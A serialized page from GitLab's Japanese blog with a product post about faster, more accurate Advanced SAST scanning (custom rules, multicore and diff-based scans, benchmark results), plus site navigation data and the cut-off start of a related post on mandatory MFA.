[{"data":1,"prerenderedAt":753},["ShallowReactive",2],{"/ja-jp/blog/delivering-faster-and-smarter-scans-with-advanced-sast":3,"navigation-ja-jp":33,"banner-ja-jp":433,"footer-ja-jp":443,"blog-post-authors-ja-jp-Salman Ladha":649,"blog-related-posts-ja-jp-delivering-faster-and-smarter-scans-with-advanced-sast":663,"assessment-promotions-ja-jp":705,"next-steps-ja-jp":744},{"id":4,"title":5,"authorSlugs":6,"body":8,"categorySlug":9,"config":10,"content":14,"description":8,"extension":24,"isFeatured":11,"meta":25,"navigation":26,"path":27,"publishedDate":20,"seo":28,"stem":30,"tagSlugs":31,"__hash__":32},"blogPosts/ja-jp/blog/delivering-faster-and-smarter-scans-with-advanced-sast.yml","Delivering Faster And Smarter Scans With Advanced Sast",[7],"salman-ladha",null,"security",{"featured":11,"template":12,"slug":13},false,"BlogPost","delivering-faster-and-smarter-scans-with-advanced-sast",{"title":15,"description":16,"authors":17,"heroImage":19,"date":20,"body":21,"category":9,"tags":22},"高度なSASTでより高速かつスマートなスキャンを実現","新たに実現した精度とスピードの向上により、デベロッパーエクスペリエンスが改善され、導入が促進されます。",[18],"Salman Ladha","https://res.cloudinary.com/about-gitlab-com/image/upload/v1759320418/xjmqcozxzt4frx0hori3.png","2025-10-21","静的アプリケーションセキュリティテスト（SAST）は、セキュアなソフトウェアを構築する上で不可欠なものであり、コードの脆弱性が悪用される前に特定できるよう、組織を支援します。昨年、GitLab 17.4で[高度なSASTをリリース](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/)し、開発ワークフローに直接、より高品質なスキャン結果を提供できるようになりました。それ以来、高度なSASTは10万を超えるコードベースで数百万回のスキャンを実行し、リスクを軽減するとともに、お客様が最初からよりセキュアなアプリケーションを構築できるよう支援してきました。\n\n今回、この基盤の強化として、精度とスピードを向上させる一連のパフォーマンス改善を実施しました。これにより、デベロッパーは既存のフローを妨げられることなく、信頼できる結果が得られるようになります。[新機能](https://about.gitlab.com/ja-jp/blog/gitlab-18-5-intelligence-that-moves-software-development-forward/)には、すぐに使える精度の向上、カスタム検出ルールの追加機能、そしてマルチコアスキャン・アルゴリズム最適化・差分ベーススキャンの3つの改善によるスキャン時間の短縮が含まれます。これらの改善により、[高度なSAST](https://docs.gitlab.com/user/application_security/sast/gitlab_advanced_sast/)はよりスマートかつ高速になり、設計段階からデベロッパーフレンドリーなセキュリティを実現します。\n\n## SAST導入の鍵は精度とスピードの両立\n\nほとんどのSASTプログラムが失敗する原因は、脆弱性検出の精度が低いからではなく、デベロッパーがセキュリティツールを採用しないからです。多くの場合、SASTのようなアプリケーションセキュリティソリューションは、デベロッパーエクスペリエンスを犠牲にして精度を追求するか、精度を犠牲にしてデベロッパーエクスペリエンスを追求するかのどちらかです。実際には、両方が必要です。精度が低ければ、デベロッパーは結果を信頼しません。スピードと使いやすさがなければ、導入は遅れます。\n\nこの両方が揃ったとき、セキュリティは開発プロセスに自然に組み込まれます。これこそが、セキュリティチームが大規模なSASTの導入を成功させる唯一の方法です。そしてこの考え方が、GitLabの高度なSASTロードマップを導いています。\n\n## カスタム検出ルールでさらに高い精度を実現\n\n組み込みの高度なSASTルールは、GitLab社内のセキュリティ研究チームの知見に基づいており、初期状態で最大限の精度を実現するよう設計されています。これまでは、[ルールの無効化](https://docs.gitlab.com/user/application_security/sast/customize_rulesets/)や、ルールの名前、説明、重大度を調整することはできましたが、新たな検出ロジックを追加することはできませんでした。GitLab 18.5では、組織は独自のカスタムパターンベースのルールを定義して、禁止された関数呼び出しのフラグ付けなど、組織固有の問題を検出できるようになりました。その際、GitLabが厳選したルールセットをベースラインとして使用することもできます。カスタムルールの違反は、GitLabの組み込みルールと同じ場所で報告されるため、デベロッパーは1つのダッシュボードから情報を収集できます。\n\nカスタムルールは、組織にとって重要な単純な問題を効果的に検出しますが、高度なSASTがインジェクションや類似の欠陥を検出するために使用する汚染解析には影響しません。カスタマイズは、他のSASTルールセット設定と同様に、シンプルなTOMLファイルで管理されます。その結果、組織のコンテキストに合わせて調整された、より高品質なスキャン結果が得られ、セキュリティチームはより多くのコントロールが、デベロッパーはより明確で実行可能な発見が得られます。\n\n## デベロッパーの作業フローを妨げない高速スキャン\n\nSASTスキャンに時間がかかりすぎると、デベロッパーは別のタスクに切り替えることが多く、導入率の低下を導くため、スピードは重要です。\n\nそのため、いくつかのパフォーマンス機能強化に投資し、精度を損なうことなくスキャン時間を大幅に短縮しました。具体的に強化された点は次の通りです：\n\n* **マルチコアスキャン**: GitLab Runnerで複数のCPUコアを活用\n* **差分ベーススキャン**: マージリクエスト内の変更されたコードのみをスキャン\n* **継続的な最適化**: よりスマートなアルゴリズムとエンジンの機能強化\n\nこれらの改善は相互に作用し、高速スキャンを実現することで次のような大きな効果をもたらします：\n\n* マルチコアスキャンにより、通常のスキャン実行時間が最大**50%短縮**\n* 差分ベーススキャンは、変更ごとに修正されるコードが少ない大規模なリポジトリで最も効果を発揮します。マージリクエストでの高速なスキャンにより、コードレビュープロセスでより迅速なフィードバックを提供するように特別に設計されています。当社のテストでは、多くの大規模リポジトリにおいて、**以前は20分以上かかっていたスキャンが、マージリクエストで10分未満で結果を返す**ようになりました。\n* 最近の社内テストでは、アルゴリズムの最適化により、大規模なオープンソースコードベースでの**スキャン時間が最大71%短縮**され、Apache Lucene(Java)で最も大きな改善が確認されました。Django(Python)、Kafka、Zulipを含む他のプロジェクトでも、**シングルコアモードで50%以上のパフォーマンス向上**が確認されました。詳細結果は下記でご確認いただけます。\n\nデベロッパーにとって、これらの改善は、マージリクエストでのより迅速なフィードバック、セキュリティ結果待ち時間の短縮、そして導入プロセスの円滑化を意味します。そして、マルチコアスキャンと差分ベース分析を組み合わせることで、さらなる効果が見込めます。\n\n![Pythonスキャン時間を示すグラフ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1760714805/rxl2zzo58j7y0k2ldxeq.png)\n\u003Cp>\u003C/p>\n\n![Javaスキャン時間を示すグラフ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1760714805/hz9bsrir6nrqthkjddvi.png)\n\n\u003Cp>\u003C/p>\n\n> これらのパフォーマンス向上は、プラットフォーム全体でデベロッパーエクスペリエンスを向上させるというGitLabの幅広い取り組みを反映しています。例えば、あるお客様は最近、GitLabの[パイプライン実行ポリシー](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/)（PEP）に移行し、パイプライン内でのセキュリティスキャン実行方法に対して、より高度な制御性と柔軟性を獲得しました。テンプレートの標準化、キャッシュの追加、パイプラインロジックの最適化により、チームは依存関係スキャンの実行時間を**1つのジョブあたり15〜60分かかっていたところが、わずか1〜2分に短縮し、15,000回のスキャン全体で1日あたり約100,000コンピューティング時間（分）を節約しました**。これは、よりカスタマイズ可能で効率的なパイプライン実行ポリシーが、より速いフィードバックループ、より高い生産性、そしてより広範な導入につながる明確な事例です。\n\nこれらの最新の機能強化により、高度なSASTは、セキュリティチームと開発チームが現代のソフトウェア開発に対応するために必要な精度、スピード、柔軟性を提供します。誤検出を減らし、カスタム検出を可能にし、スキャン時間を短縮することで、セキュリティをデベロッパーにとっての障害ではなく、推進力へと変えます。\n\n[GitLabのアプリケーションセキュリティ機能](https://about.gitlab.com/ja-jp/solutions/application-security-testing/)のすべてと同様に、高度なSASTはDevSecOpsプラットフォームに直接組み込まれており、デベロッパーがソフトウェアを構築、テスト、デプロイ、保護するプロセスにおいて、セキュリティが自然な一部となります。\n\nその結果、導入が迅速化され、ボトルネックが減少し、最初からよりセキュアなアプリケーションを提供できます。\n\n> 今すぐ高度なSASTを使ってみましょう！[GitLab Ultimateの無料トライアル](https://about.gitlab.com/ja-jp/free-trial/)をぜひご利用ください。\n\n## 詳細はこちら\n\n- [GitLab高度なSASTが一般提供開始](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/)\n- [GitLab DASTの包括的ガイド](https://about.gitlab.com/blog/comprehensive-guide-to-gitlab-dast/)\n- [GitLabセキュリティテストソリューション](https://about.gitlab.com/ja-jp/solutions/application-security-testing/)",[9,23],"product","yml",{},true,"/ja-jp/blog/delivering-faster-and-smarter-scans-with-advanced-sast",{"config":29,"title":15,"description":16},{"noIndex":11},"ja-jp/blog/delivering-faster-and-smarter-scans-with-advanced-sast",[9,23],"lBBUzciJ3puBAYHWUDfd5g2-JzdBAJIBrrlsSdwo2qw",{"data":34},{"logo":35,"freeTrial":40,"sales":45,"login":50,"items":55,"search":363,"minimal":396,"duo":413,"pricingDeployment":423},{"config":36},{"href":37,"dataGaName":38,"dataGaLocation":39},"/ja-jp/","gitlab logo","header",{"text":41,"config":42},"無料トライアルを開始",{"href":43,"dataGaName":44,"dataGaLocation":39},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":46,"config":47},"お問い合わせ",{"href":48,"dataGaName":49,"dataGaLocation":39},"/ja-jp/sales/","sales",{"text":51,"config":52},"サインイン",{"href":53,"dataGaName":54,"dataGaLocation":39},"https://gitlab.com/users/sign_in/","sign in",[56,83,179,184,285,345],{"text":57,"config":58,"cards":60},"プラットフォーム",{"dataNavLevelOne":59},"platform",[61,67,75],{"title":57,"description":62,"link":63},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":64,"config":65},"プラットフォームを詳しく見る",{"href":66,"dataGaName":59,"dataGaLocation":39},"/ja-jp/platform/",{"title":68,"description":69,"link":70},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":71,"config":72},"GitLab Duoのご紹介",{"href":73,"dataGaName":74,"dataGaLocation":39},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":76,"description":77,"link":78},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":79,"config":80},"詳細はこちら",{"href":81,"dataGaName":82,"dataGaLocation":39},"/ja-jp/why-gitlab/","why gitlab",{"text":84,"left":26,"config":85,"link":87,"lists":91,"footer":161},"製品",{"dataNavLevelOne":86},"solutions",{"text":88,"config":89},"すべてのソリューションを表示",{"href":90,"dataGaName":86,"dataGaLocation":39},"/ja-jp/solutions/",[92,117,139],{"title":93,"description":94,"link":95,"items":100},"自動化","CI/CDと自動化でデプロイを加速",{"config":96},{"icon":97,"href":98,"dataGaName":99,"dataGaLocation":39},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[101,105,108,113],{"text":102,"config":103},"CI/CD",{"href":104,"dataGaLocation":39,"dataGaName":102},"/ja-jp/solutions/continuous-integration/",{"text":68,"config":106},{"href":73,"dataGaLocation":39,"dataGaName":107},"gitlab duo agent platform - product menu",{"text":109,"config":110},"ソースコード管理",{"href":111,"dataGaLocation":39,"dataGaName":112},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":114,"config":115},"自動化されたソフトウェアデリバリー",{"href":98,"dataGaLocation":39,"dataGaName":116},"Automated software delivery",{"title":118,"description":119,"link":120,"items":125},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":121},{"href":122,"dataGaName":123,"dataGaLocation":39,"icon":124},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[126,130,135],{"text":127,"config":128},"Application Security Testing",{"href":122,"dataGaName":129,"dataGaLocation":39},"Application security testing",{"text":131,"config":132},"ソフトウェアサプライチェーンの安全性",{"href":133,"dataGaLocation":39,"dataGaName":134},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":136,"config":137},"Software Compliance",{"href":138,"dataGaName":136,"dataGaLocation":39},"/ja-jp/solutions/software-compliance/",{"title":140,"link":141,"items":146},"測定",{"config":142},{"icon":143,"href":144,"dataGaName":145,"dataGaLocation":39},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[147,151,156],{"text":148,"config":149},"可視性と測定",{"href":144,"dataGaLocation":39,"dataGaName":150},"Visibility and Measurement",{"text":152,"config":153},"バリューストリーム管理",{"href":154,"dataGaLocation":39,"dataGaName":155},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":157,"config":158},"分析とインサイト",{"href":159,"dataGaLocation":39,"dataGaName":160},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":162,"items":163},"GitLabが活躍する場所",[164,169,174],{"text":165,"config":166},"Enterprise",{"href":167,"dataGaLocation":39,"dataGaName":168},"/ja-jp/enterprise/","enterprise",{"text":170,"config":171},"スモールビジネス",{"href":172,"dataGaLocation":39,"dataGaName":173},"/ja-jp/small-business/","small business",{"text":175,"config":176},"公共機関",{"href":177,"dataGaLocation":39,"dataGaName":178},"/ja-jp/solutions/public-sector/","public sector",{"text":180,"config":181},"価格",{"href":182,"dataGaName":183,"dataGaLocation":39,"dataNavLevelOne":183},"/ja-jp/pricing/","pricing",{"text":185,"config":186,"link":188,"lists":192,"feature":272},"関連リソース",{"dataNavLevelOne":187},"resources",{"text":189,"config":190},"すべてのリソースを表示",{"href":191,"dataGaName":187,"dataGaLocation":39},"/ja-jp/resources/",[193,226,244],{"title":194,"items":195},"はじめに",[196,201,206,211,216,221],{"text":197,"config":198},"インストール",{"href":199,"dataGaName":200,"dataGaLocation":39},"/ja-jp/install/","install",{"text":202,"config":203},"クイックスタートガイド",{"href":204,"dataGaName":205,"dataGaLocation":39},"/ja-jp/get-started/","quick setup checklists",{"text":207,"config":208},"学ぶ",{"href":209,"dataGaLocation":39,"dataGaName":210},"https://university.gitlab.com/","learn",{"text":212,"config":213},"製品ドキュメント",{"href":214,"dataGaName":215,"dataGaLocation":39},"https://docs.gitlab.com/","product documentation",{"text":217,"config":218},"ベストプラクティスビデオ",{"href":219,"dataGaName":220,"dataGaLocation":39},"/ja-jp/getting-started-videos/","best practice videos",{"text":222,"config":223},"インテグレーション",{"href":224,"dataGaName":225,"dataGaLocation":39},"/ja-jp/integrations/","integrations",{"title":227,"items":228},"検索する",[229,234,239],{"text":230,"config":231},"お客様成功事例",{"href":232,"dataGaName":233,"dataGaLocation":39},"/ja-jp/customers/","customer success stories",{"text":235,"config":236},"ブログ",{"href":237,"dataGaName":238,"dataGaLocation":39},"/ja-jp/blog/","blog",{"text":240,"config":241},"リモート",{"href":242,"dataGaName":243,"dataGaLocation":39},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":245,"items":246},"つなげる",[247,252,257,262,267],{"text":248,"config":249},"GitLabサービス",{"href":250,"dataGaName":251,"dataGaLocation":39},"/ja-jp/services/","services",{"text":253,"config":254},"コミュニティ",{"href":255,"dataGaName":256,"dataGaLocation":39},"/community/","community",{"text":258,"config":259},"フォーラム",{"href":260,"dataGaName":261,"dataGaLocation":39},"https://forum.gitlab.com/","forum",{"text":263,"config":264},"イベント",{"href":265,"dataGaName":266,"dataGaLocation":39},"/events/","events",{"text":268,"config":269},"パートナー",{"href":270,"dataGaName":271,"dataGaLocation":39},"/ja-jp/partners/","partners",{"backgroundColor":273,"textColor":274,"text":275,"image":276,"link":280},"#2f2a6b","#fff","ソフトウェア開発の未来への洞察",{"altText":277,"config":278},"ソースプロモカード",{"src":279},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":281,"config":282},"最新情報を読む",{"href":283,"dataGaName":284,"dataGaLocation":39},"/ja-jp/the-source/","the source",{"text":286,"config":287,"lists":289},"会社情報",{"dataNavLevelOne":288},"company",[290],{"items":291},[292,297,303,305,310,315,320,325,330,335,340],{"text":293,"config":294},"GitLabについて",{"href":295,"dataGaName":296,"dataGaLocation":39},"/ja-jp/company/","about",{"text":298,"config":299,"footerGa":302},"採用情報",{"href":300,"dataGaName":301,"dataGaLocation":39},"/jobs/","jobs",{"dataGaName":301},{"text":263,"config":304},{"href":265,"dataGaName":266,"dataGaLocation":39},{"text":306,"config":307},"経営陣",{"href":308,"dataGaName":309,"dataGaLocation":39},"/company/team/e-group/","leadership",{"text":311,"config":312},"チーム",{"href":313,"dataGaName":314,"dataGaLocation":39},"/company/team/","team",{"text":316,"config":317},"ハンドブック",{"href":318,"dataGaName":319,"dataGaLocation":39},"https://handbook.gitlab.com/","handbook",{"text":321,"config":322},"投資家向け情報",{"href":323,"dataGaName":324,"dataGaLocation":39},"https://ir.gitlab.com/","investor relations",{"text":326,"config":327},"トラストセンター",{"href":328,"dataGaName":329,"dataGaLocation":39},"/ja-jp/security/","trust center",{"text":331,"config":332},"AI Transparency Center",{"href":333,"dataGaName":334,"dataGaLocation":39},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":336,"config":337},"ニュースレター",{"href":338,"dataGaName":339,"dataGaLocation":39},"/company/contact/#contact-forms","newsletter",{"text":341,"config":342},"プレス",{"href":343,"dataGaName":344,"dataGaLocation":39},"/press/","press",{"text":46,"config":346,"lists":347},{"dataNavLevelOne":288},[348],{"items":349},[350,353,358],{"text":46,"config":351},{"href":48,"dataGaName":352,"dataGaLocation":39},"talk to sales",{"text":354,"config":355},"サポートポータル",{"href":356,"dataGaName":357,"dataGaLocation":39},"https://support.gitlab.com","support portal",{"text":359,"config":360},"カスタマーポータル",{"href":361,"dataGaName":362,"dataGaLocation":39},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":364,"login":365,"suggestions":372},"閉じる",{"text":366,"link":367},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":368,"config":369},"GitLab.com",{"href":53,"dataGaName":370,"dataGaLocation":371},"search login","search",{"text":373,"default":374},"提案",[375,377,382,384,388,392],{"text":68,"config":376},{"href":73,"dataGaName":68,"dataGaLocation":371},{"text":378,"config":379},"コード提案（AI）",{"href":380,"dataGaName":381,"dataGaLocation":371},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":102,"config":383},{"href":104,"dataGaName":102,"dataGaLocation":371},{"text":385,"config":386},"GitLab on AWS",{"href":387,"dataGaName":385,"dataGaLocation":371},"/ja-jp/partners/technology-partners/aws/",{"text":389,"config":390},"GitLab on Google Cloud",{"href":391,"dataGaName":389,"dataGaLocation":371},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":393,"config":394},"GitLabを選ぶ理由",{"href":81,"dataGaName":395,"dataGaLocation":371},"Why GitLab?",{"freeTrial":397,"mobileIcon":401,"desktopIcon":406,"secondaryButton":409},{"text":41,"config":398},{"href":399,"dataGaName":44,"dataGaLocation":400},"https://gitlab.com/-/trials/new/","nav",{"altText":402,"config":403},"GitLabアイコン",{"src":404,"dataGaName":405,"dataGaLocation":400},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":402,"config":407},{"src":408,"dataGaName":405,"dataGaLocation":400},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":194,"config":410},{"href":411,"dataGaName":412,"dataGaLocation":400},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/compare/gitlab-vs-github/","get started",{"freeTrial":414,"mobileIcon":419,"desktopIcon":421},{"text":415,"config":416},"GitLab Duoの詳細について",{"href":417,"dataGaName":418,"dataGaLocation":400},"/ja-jp/gitlab-duo/","gitlab duo",{"altText":402,"config":420},{"src":404,"dataGaName":405,"dataGaLocation":400},{"altText":402,"config":422},{"src":408,"dataGaName":405,"dataGaLocation":400},{"freeTrial":424,"mobileIcon":429,"desktopIcon":431},{"text":425,"config":426},"料金ページに戻る",{"href":182,"dataGaName":427,"dataGaLocation":400,"icon":428},"back to pricing","GoBack",{"altText":402,"config":430},{"src":404,"dataGaName":405,"dataGaLocation":400},{"altText":402,"config":432},{"src":408,"dataGaName":405,"dataGaLocation":400},{"title":434,"button":435,"config":440},"エージェント型AIがソフトウェア配信をどのように変革するかをご覧ください",{"text":436,"config":437},"GitLab Transcendを今すぐ視聴",{"href":438,"dataGaName":439,"dataGaLocation":39},"/ja-jp/events/transcend/virtual/","transcend event",{"layout":441,"icon":442},"release","AiStar",{"data":444},{"text":445,"source":446,"edit":452,"contribute":457,"config":462,"items":467,"minimal":641},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":447,"config":448},"ページのソースを表示",{"href":449,"dataGaName":450,"dataGaLocation":451},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":453,"config":454},"このページを編集",{"href":455,"dataGaName":456,"dataGaLocation":451},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":458,"config":459},"ご協力をお願いします",{"href":460,"dataGaName":461,"dataGaLocation":451},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":463,"facebook":464,"youtube":465,"linkedin":466},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[468,491,545,575,610],{"title":57,"links":469,"subMenu":474},[470],{"text":471,"config":472},"DevSecOpsプラットフォーム",{"href":66,"dataGaName":473,"dataGaLocation":451},"devsecops platform",[475],{"title":180,"links":476},[477,481,486],{"text":478,"config":479},"プランの表示",{"href":182,"dataGaName":480,"dataGaLocation":451},"view plans",{"text":482,"config":483},"Premiumを選ぶ理由",{"href":484,"dataGaName":485,"dataGaLocation":451},"/ja-jp/pricing/premium/","why premium",{"text":487,"config":488},"Ultimateを選ぶ理由",{"href":489,"dataGaName":490,"dataGaLocation":451},"/ja-jp/pricing/ultimate/","why ultimate",{"title":492,"links":493},"ソリューション",[494,499,502,504,509,514,518,521,524,529,531,533,535,540],{"text":495,"config":496},"デジタルトランスフォーメーション",{"href":497,"dataGaName":498,"dataGaLocation":451},"/ja-jp/topics/digital-transformation/","digital transformation",{"text":500,"config":501},"セキュリティとコンプライアンス",{"href":122,"dataGaName":129,"dataGaLocation":451},{"text":114,"config":503},{"href":98,"dataGaName":99,"dataGaLocation":451},{"text":505,"config":506},"アジャイル開発",{"href":507,"dataGaName":508,"dataGaLocation":451},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":510,"config":511},"クラウドトランスフォーメーション",{"href":512,"dataGaName":513,"dataGaLocation":451},"/ja-jp/topics/cloud-native/","cloud transformation",{"text":515,"config":516},"SCM",{"href":111,"dataGaName":517,"dataGaLocation":451},"source code management",{"text":102,"config":519},{"href":104,"dataGaName":520,"dataGaLocation":451},"continuous integration & delivery",{"text":152,"config":522},{"href":154,"dataGaName":523,"dataGaLocation":451},"value stream management",{"text":525,"config":526},"GitOps",{"href":527,"dataGaName":528,"dataGaLocation":451},"/ja-jp/solutions/gitops/","gitops",{"text":165,"config":530},{"href":167,"dataGaName":168,"dataGaLocation":451},{"text":170,"config":532},{"href":172,"dataGaName":173,"dataGaLocation":451},{"text":175,"config":534},{"href":177,"dataGaName":178,"dataGaLocation":451},{"text":536,"config":537},"教育",{"href":538,"dataGaName":539,"dataGaLocation":451},"/ja-jp/solutions/education/","education",{"text":541,"config":542},"金融サービス",{"href":543,"dataGaName":544,"dataGaLocation":451},"/ja-jp/solutions/finance/","financial services",{"title":185,"links":546},[547,549,551,553,556,558,561,563,565,567,569,571,573],{"text":197,"config":548},{"href":199,"dataGaName":200,"dataGaLocation":451},{"text":202,"config":550},{"href":204,"dataGaName":205,"dataGaLocation":451},{"text":207,"config":552},{"href":209,"dataGaName":210,"dataGaLocation":451},{"text":212,"config":554},{"href":214,"dataGaName":555,"dataGaLocation":451},"docs",{"text":235,"config":557},{"href":237,"dataGaName":238},{"text":559,"config":560},"お客様の成功事例",{"href":232,"dataGaLocation":451},{"text":230,"config":562},{"href":232,"dataGaName":233,"dataGaLocation":451},{"text":240,"config":564},{"href":242,"dataGaName":243,"dataGaLocation":451},{"text":248,"config":566},{"href":250,"dataGaName":251,"dataGaLocation":451},{"text":253,"config":568},{"href":255,"dataGaName":256,"dataGaLocation":451},{"text":258,"config":570},{"href":260,"dataGaName":261,"dataGaLocation":451},{"text":263,"config":572},{"href":265,"dataGaName":266,"dataGaLocation":451},{"text":268,"config":574},{"href":270,"dataGaName":271,"dataGaLocation":451},{"title":576,"links":577},"Company",[578,580,582,584,586,588,590,594,599,601,603,605],{"text":293,"config":579},{"href":295,"dataGaName":288,"dataGaLocation":451},{"text":298,"config":581},{"href":300,"dataGaName":301,"dataGaLocation":451},{"text":306,"config":583},{"href":308,"dataGaName":309,"dataGaLocation":451},{"text":311,"config":585},{"href":313,"dataGaName":314,"dataGaLocation":451},{"text":316,"config":587},{"href":318,"dataGaName":319,"dataGaLocation":451},{"text":321,"config":589},{"href":323,"dataGaName":324,"dataGaLocation":451},{"text":591,"config":592},"Sustainability",{"href":593,"dataGaName":591,"dataGaLocation":451},"/sustainability/",{"text":595,"config":596},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":597,"dataGaName":598,"dataGaLocation":451},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":326,"config":600},{"href":328,"dataGaName":329,"dataGaLocation":451},{"text":336,"config":602},{"href":338,"dataGaName":339,"dataGaLocation":451},{"text":341,"config":604},{"href":343,"dataGaName":344,"dataGaLocation":451},{"text":606,"config":607},"現代奴隷制の透明性に関する声明",{"href":608,"dataGaName":609,"dataGaLocation":451},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":46,"links":611},[612,614,619,621,626,631,636],{"text":46,"config":613},{"href":48,"dataGaName":49,"dataGaLocation":451},{"text":615,"config":616},"サポートを受ける",{"href":617,"dataGaName":618,"dataGaLocation":451},"/support/","get help",{"text":359,"config":620},{"href":361,"dataGaName":362,"dataGaLocation":451},{"text":622,"config":623},"ステータス",{"href":624,"dataGaName":625,"dataGaLocation":451},"https://status.gitlab.com/","status",{"text":627,"config":628},"利用規約",{"href":629,"dataGaName":630,"dataGaLocation":451},"/terms/","terms of use",{"text":632,"config":633},"プライバシーに関する声明",{"href":634,"dataGaName":635,"dataGaLocation":451},"/ja-jp/privacy/","privacy statement",{"text":637,"config":638},"Cookieの設定",{"dataGaName":639,"dataGaLocation":451,"id":640,"isOneTrustButton":26},"cookie preferences","ot-sdk-btn",{"items":642},[643,645,647],{"text":627,"config":644},{"href":629,"dataGaName":630,"dataGaLocation":451},{"text":632,"config":646},{"href":634,"dataGaName":635,"dataGaLocation":451},{"text":637,"config":648},{"dataGaName":639,"dataGaLocation":451,"id":640,"isOneTrustButton":26},[650],{"id":651,"title":18,"body":8,"config":652,"content":654,"description":8,"extension":24,"meta":658,"navigation":26,"path":659,"seo":660,"stem":661,"__hash__":662},"blogAuthors/en-us/blog/authors/salman-ladha.yml",{"template":653},"BlogAuthor",{"name":18,"config":655},{"headshot":656,"ctfId":657},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662937/Blog/Author%20Headshots/salman_ladha_headshot.png","2AYyG99S9PBB8PQIJ6aKuq",{},"/en-us/blog/authors/salman-ladha",{},"en-us/blog/authors/salman-ladha","AIlZoao6Z2q7mIH5Jkh_ZIB8304XE4IuHFiznllUnT0",[664,676,691],{"content":665,"config":674},{"title":666,"description":667,"authors":668,"heroImage":670,"date":671,"body":672,"category":9,"tags":673},"GitLab.comのセキュリティ強化：多要素認証の必須化","Secure by Designへのコミットメントの一環として、GitLabが多要素認証（MFA）を必須化する方法と、それがユーザーに与える影響について解説します。",[669],"Kim Waters","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664923/Blog/Hero%20Images/security-checklist.png","2026-01-09","GitLab.comのすべてのユーザーアカウントのセキュリティ強化のため、GitLabでは、ユーザー名とパスワードを使用してサインインするすべてのユーザーとAPIエンドポイントに対して、多要素認証（MFA）を必須化します。\n\n## 多要素認証必須化の理由\n\n今回の変更は、GitLabの[Secure by Designへのコミットメント](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/)における重要な取り組みの1つです。MFAは、ソフトウェア開発業界全体で継続的な脅威となっているクレデンシャルスタッフィング攻撃やアカウント乗っ取り攻撃に対する重要な防御手段となります。\n\n## 知っておくべき重要な情報\n\n### 何が変わるのか？\n\nGitLabは、ユーザー名とパスワードで認証するサインインに対して、MFAを必須化します。これにより、パスワードだけでなく、重要な第2の認証レイヤーが追加されます。\n\n### 適用されるケースとされないケース\n\n1. ***適用されるケース：*** ユーザー名とパスワードでGitLab.comにサインインする場合、またはパスワードを使用してAPIに認証する場合\n2. ***適用されないケース：*** アクセスにソーシャルサインオン（Googleなど）またはシングルサインオン（SSO）のみを使用している場合（*注意：SSOを使用していても、直接ログイン用のパスワードを設定している場合は、SSO以外のパスワードベースのログインに対してMFAが必要になります）*\n\n### ロールアウトのタイムライン\n\n1. 実装は今後数か月にわたって段階的に行われます。これは、ユーザーの予期しない中断や生産性の低下を最小限に抑え、アカウントのロックアウトを防ぐことを目的としています。ユーザーグループによって時期は異なりますが、近日中にMFAの有効化を求められます。各グループは、実行したアクション、またはコントリビュートしたコードに基づいて選択されます。以下の方法で通知されます。\n\n   * ✉️ メール通知 - 影響を受けるフェーズの前\n   * 🔔 定期的な製品内リマインダー - 14日前\n   * ⏱️ 一定期間後（メールが届きます） - MFAを有効にするまでGitLabへのアクセスがブロックされます\n\n### 必要な対応\n\n1. ユーザー名とパスワードでGitLab.comにサインインする場合：\n\n   * パスキー、認証アプリ、WebAuthnデバイス、またはメール認証など、利用可能なMFA方法の1つを今すぐ事前に設定することを強くおすすめします。これにより、最も安全でシームレスな移行が保証されます。\n   * GitLab.comの**ユーザー設定**にアクセスします。\n   * **アカウント**セクションを選択します。\n   * **2要素認証**を有効にし、希望する方法（認証アプリやWebAuthnデバイスなど）を設定します。\n   * 